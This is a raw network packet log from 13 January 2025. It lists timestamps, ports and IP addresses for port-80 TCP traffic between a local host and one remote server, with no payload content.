Jan 13, 2025 09:32:05.083417892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.083427906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.083440065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.083458900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.083489895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.084340096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.084355116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.084393024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.108582020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.108599901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.108612061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.108644962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.108686924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.146846056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.146883011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.146929026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.180608034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.180624962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.180636883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.180649996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.180660963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.180672884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.180696011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.180737972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.199105978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.199122906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.199136972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.199147940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.199160099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.199168921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.199173927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.199187994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.199206114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.199212074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.199218988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.199233055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.199239016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.199270010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.199300051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.199556112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.199567080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.199579954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.199592113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.199601889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.199604988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.199654102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.200165033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.200176954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.200189114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.200200081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.200212002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.200222015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.200251102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.200273991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.200711966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.200723886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.200735092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.200746059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.200759888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.200762033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.200774908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.200786114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.200790882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.200802088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.200812101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.200814009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.200845003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.200871944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.201517105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.201529026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.201539993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.201571941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.201653957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.201700926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.201800108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.201812983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.201822042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.201833010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.201843023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.201853991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.201853991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.201900959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.202852964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.202863932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.202874899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.202886105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.202897072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.202903032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.202913046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.202915907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.202927113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.202938080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.202950001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.202980042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.203027964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.203694105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.203706026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.203723907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.203736067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.203743935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.203749895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.203762054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.203774929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.203810930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.203850031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.203862906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.203874111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.203886032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.203918934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.203962088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.204663038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.204674959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.204685926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.204699993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.204710960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.204720020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.204722881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.204763889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.204817057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.204828978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.204838991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.204859018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.204859018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.204909086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.210652113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.223587990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.232594013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.232611895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.232624054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.232687950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.249313116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.266599894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.266644955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.266700029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.266701937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.266737938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.266750097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.266774893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.266808033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.266824961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.266844988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.266877890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.266891956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.266913891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.266948938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.266961098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.285022974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.285054922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.285089970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.285096884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.285125017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.285152912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.285162926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.285198927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.285223961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.300630093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.300666094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.300692081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.300699949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.300756931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.300771952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.300806999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.300839901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.300849915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.300873041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.300904989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.300915003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.300961018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.301004887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.301013947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.318820953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.318876028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.318885088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.318911076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.318943977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.318953991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.318979025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.319025993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.319030046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.319063902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.319096088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.319106102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.319129944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.319163084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.319174051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.319196939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.319241047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.319246054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.319282055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.319324017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.319334030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.319369078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.319401026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.319412947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.319437027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.319483995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.319489956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.319523096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.319556952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.319569111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.319591045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.319634914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.319645882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.319820881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.319864988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.319869041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.319904089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.319935083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.319957972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.319967985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.320002079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.320014000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.320036888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.320070028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.320081949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.320105076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.320137978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.320151091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.320497036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.320528984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.320554972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.320561886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.320595980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.320610046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.320628881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.320661068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.320688963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.320694923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.320728064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.320744038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.320763111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.320796967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.320822954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.320830107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.320863962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.320888042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.320895910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.320930004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.320951939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.320962906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.320997953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.321008921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.321033955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.321085930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.321326971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.321360111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.321393967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.321402073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.321427107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.321477890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.321480036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.321511030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.321543932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.321558952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.321577072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.321610928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.321623087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.321644068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.321676970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.321698904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.321710110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.321744919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.321758032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.321779966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.321814060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.321836948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.321846008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.321881056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.321891069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.322252989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.322297096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.322302103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.322336912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.322375059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.322384119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.322408915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.322457075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.322460890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.322491884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.322524071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.322535992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.322556973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.322588921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.322599888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.322622061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.322654963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.322663069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.322689056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.322721004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.322731972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.322755098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.322787046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.322807074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.322837114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.322889090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.323266029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.323299885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.323340893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.323354959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.323388100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.323421955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.323431015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.324632883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.353178978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.353209972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.353244066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.353259087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.353279114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.353305101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.353312016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.353346109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.353362083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.353380919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.353414059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.353424072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.371700048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.371736050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.371758938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.371769905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.371815920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.371819973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.371855021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.371886969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.371915102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.371922016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.371968031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.387497902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.387532949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.387584925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.387609959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.387643099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.387676954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.387701988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.387708902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.387743950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.387757063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.387777090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.387814045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 09:32:05.387823105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 09:32:05.387864113 CET	80	49730	193.143.1.205	192.168.2.4
